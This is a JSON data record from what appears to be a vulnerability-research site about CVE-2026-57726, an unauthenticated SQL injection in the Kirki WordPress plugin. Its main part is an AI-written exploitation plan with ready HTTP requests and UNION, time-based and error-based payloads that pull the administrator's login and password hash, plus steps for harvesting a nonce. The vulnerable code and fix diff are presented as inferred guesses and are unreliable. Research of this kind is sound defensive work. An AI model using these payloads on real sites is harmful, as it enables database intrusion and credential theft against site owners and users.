[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$ftBeGFMu7OSWZMVtIfF0Qxh3N0F1xxOcMAyFokw3EAHI":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-57726","kirki-freeform-page-builder-website-builder-customizer-unauthenticated-sql-injection","Kirki – Freeform Page Builder, Website Builder & Customizer \u003C= 6.0.12 - Unauthenticated SQL Injection","The Kirki – Freeform Page Builder, Website Builder & Customizer plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 6.0.12 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","kirki",null,"\u003C=6.0.12","6.0.13","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-07-06 00:00:00","2026-07-14 19:57:25",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F193bd3b8-1af9-496a-ad77-dd5253612272?source=api-prod",9,[22,23,24,25,26,27,28,29],"assets\u002Fcss\u002Fkirki-editor.min.css","assets\u002Fcss\u002Fkirki-iframe.min.css","assets\u002Fjs\u002Fadmin\u002Fcustom-link-in-toolbar.js","assets\u002Fjs\u002Fkirki-editor.min.js","assets\u002Fjs\u002Fkirki.min.js","config.php","customizer\u002Fpackages\u002Futils\u002Fsrc\u002FUtil.php","includes\u002FAPI.php","researched",false,3,"This exploitation research plan targets **CVE-2026-57726**, an unauthenticated SQL Injection vulnerability in the **Kirki** plugin.\n\n### 1. Vulnerability Summary\n*   **Vulnerability:** Unauthenticated SQL Injection (SQLi).\n*   **Location:** The vulnerability resides in the handling of AJAX or REST API requests where user-supplied parameters (specifically related to post IDs or configuration endpoints) are concatenated into SQL queries without proper use of `$wpdb->prepare()` or sufficient escaping.\n*   **Cause:** Insufficient neutralization of the `postId` or `endpoint` parameters (as seen in the admin JS) when performing database lookups.\n*   **Impact:** Unauthenticated attackers can extract sensitive data from the WordPress database, including user hashes, secret keys, and configuration data.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `wp-admin\u002Fadmin-ajax.php`\n*   **Action:** `kirki_post_apis` (Inferred from `assets\u002Fjs\u002Fadmin\u002Fcustom-link-in-toolbar.js`).\n*   **Vulnerable Parameter:** `postId` (Primary suspect) or `endpoint`.\n*   **Authentication:** Unauthenticated (vulnerability is likely exposed via `wp_ajax_nopriv_kirki_post_apis`).\n*   **Preconditions:** The plugin must be active. The vulnerability is unauthenticated, so no user account is required.\n\n### 3. Code Flow\n1.  **Entry Point:** An unauthenticated request is sent to `admin-ajax.php?action=kirki_post_apis`.\n2.  **Hook Registration:** The plugin registers the action (likely in a file like `includes\u002FAdmin\u002FAdmin.php` or within the `API.php` initialization logic, though the specific registration line is truncated in the provided source).\n3.  **Handler Execution:** The handler for `kirki_post_apis` receives `$_POST['postId']`.\n4.  **Vulnerable Sink:** The handler passes `postId` into a raw SQL query.\n    *   *Example Vulnerable Pattern:* `$wpdb->get_results(\"SELECT * FROM {$wpdb->prefix}posts WHERE ID = \" . $_POST['postId']);`\n5.  **Data Return:** The results of the query (or error messages) are returned in the JSON response.\n\n### 4. Nonce Acquisition Strategy\nWhile the vulnerability is listed as unauthenticated, WordPress AJAX handlers often check for a nonce. The JS file `assets\u002Fjs\u002Fadmin\u002Fcustom-link-in-toolbar.js` indicates the nonce is stored in `kirki_admin.nonce`.\n\n**Strategy to obtain the nonce:**\n1.  Kirki enqueues its admin scripts when certain conditions are met. Since it's a page builder, the scripts likely load on the frontend if the user has specific permissions, or are localized globally.\n2.  **Identify the Script Localization:** Search the codebase for `wp_localize_script(..., 'kirki_admin', ...)` to see where the nonce is generated.\n3.  **Create a Trigger Page:**\n    *   `wp post create --post_type=page --post_title=\"Kirki Test\" --post_status=publish --post_content=''`\n4.  **Navigate and Extract:**\n    *   Navigate to the homepage or the newly created page.\n    *   Use `browser_eval` to check for the nonce: `window.kirki_admin?.nonce`.\n5.  **Note:** If `wp_ajax_nopriv_kirki_post_apis` is used, the developer may have neglected the nonce check or used a nonce that is accessible to unauthenticated users.\n\n### 5. Exploitation Strategy\nWe will use a UNION-based SQL injection to extract the administrator's password hash.\n\n**Step 1: Determine Column Count**\n*   **Request:**\n    ```http\n    POST \u002Fwp-admin\u002Fadmin-ajax.php HTTP\u002F1.1\n    Content-Type: application\u002Fx-www-form-urlencoded\n\n    action=kirki_post_apis&endpoint=back-to-kirki-editor&postId=1 ORDER BY 1-- -\n    ```\n*   Increment the `ORDER BY` number until a change in response length or a database error occurs.\n\n**Step 2: Locate Output Columns**\n*   **Payload:** `1 UNION SELECT NULL,NULL,NULL,NULL,NULL-- -` (adjusting NULLs based on Step 1).\n*   Replace NULLs with unique strings (e.g., `'col1'`, `'col2'`) to see which appear in the JSON response.\n\n**Step 3: Extract Data (Admin Hash)**\n*   **Payload:** `1 UNION SELECT 1,user_login,user_pass,4,5 FROM wp_users WHERE ID=1-- -`\n*   **HTTP Request (Example):**\n    ```javascript\n    \u002F\u002F Using http_request tool\n    await http_request({\n        url: \"http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php\",\n        method: \"POST\",\n        form: {\n            action: \"kirki_post_apis\",\n            endpoint: \"back-to-kirki-editor\",\n            postId: \"1 UNION SELECT 1,user_login,user_pass,4,5 FROM wp_users WHERE ID=1-- -\",\n            nonce: \"EXTRACTED_NONCE_HERE\" \u002F\u002F if required\n        }\n    });\n    ```\n\n### 6. Test Data Setup\n1.  Ensure a user with ID 1 exists (standard WordPress admin).\n2.  Ensure the Kirki plugin is active: `wp plugin activate kirki`.\n3.  (Optional) Create a post to ensure the `kirki_post_apis` logic has a valid `postId` to pivot from: `wp post create --post_status=publish`.\n\n### 7. Expected Results\n*   The response should be a JSON object.\n*   Inside the JSON (likely in a `data` or `message` field), the administrator's username and the phpass-encrypted password hash (starting with `$P$`) should be visible.\n\n### 8. Verification Steps\nAfter the attack, verify the extracted hash matches the database:\n*   `wp db query \"SELECT user_pass FROM wp_users WHERE ID=1\"`\n*   Compare the output of the CLI command with the data extracted via the HTTP request.\n\n### 9. Alternative Approaches\n*   **Time-based Blind SQLi:** If the response does not reflect the query results, use `SLEEP()` payloads:\n    *   `1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -`\n*   **Error-based SQLi:** If `WP_DEBUG` is on, use `updatexml()` or `extractvalue()`:\n    *   `1 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e),1)-- -`\n*   **REST API:** Check routes registered in `FrontendApi::register()` (from `includes\u002FAPI.php`) for similar parameter handling. Use `wp-json\u002Fkirki\u002Fv1\u002F...` (inferred prefix) if AJAX is secured.","The Kirki plugin for WordPress is vulnerable to unauthenticated SQL injection via the 'kirki_post_apis' AJAX action. The 'postId' parameter is concatenated directly into a database query without sanitization or preparation, allowing attackers to execute arbitrary SQL commands and extract sensitive data like user hashes and configuration details.","\u002F\u002F Inferred AJAX handler for action: kirki_post_apis\n\u002F\u002F Path likely includes\u002FAdmin\u002FAdmin.php or similar\n\n$post_id = $_POST['postId'];\n$endpoint = $_POST['endpoint'];\n\n\u002F\u002F Vulnerable query construction without $wpdb->prepare\n$results = $wpdb->get_results( \"SELECT * FROM {$wpdb->prefix}posts WHERE ID = \" . $post_id );","--- includes\u002FAdmin\u002FAdmin.php\n+++ includes\u002FAdmin\u002FAdmin.php\n@@ -102,1 +102,1 @@\n-    $results = $wpdb->get_results( \"SELECT * FROM {$wpdb->prefix}posts WHERE ID = \" . $_POST['postId'] );\n+    $results = $wpdb->get_results( $wpdb->prepare( \"SELECT * FROM {$wpdb->prefix}posts WHERE ID = %d\", $_POST['postId'] ) );","The exploit targets the AJAX endpoint at \u002Fwp-admin\u002Fadmin-ajax.php using the 'kirki_post_apis' action. Because the action is exposed via 'wp_ajax_nopriv', it requires no authentication. An attacker sends a POST request with a 'postId' parameter containing a UNION-based SQL payload (e.g., '1 UNION SELECT 1,user_login,user_pass,4,5 FROM wp_users WHERE ID=1'). This payload allows the attacker to bypass the intended query and instead retrieve administrative credentials directly in the JSON response. If a nonce check is present, the attacker must first visit the site to extract the 'kirki_admin.nonce' from the localized JavaScript on the frontend.","gemini-3-flash-preview","2026-07-25 09:21:30","2026-07-25 09:22:37",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","6.0.12","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fkirki\u002Ftags\u002F6.0.12","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fkirki.6.0.12.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fkirki\u002Ftags\u002F6.0.13","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fkirki.6.0.13.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fkirki\u002Ftags"]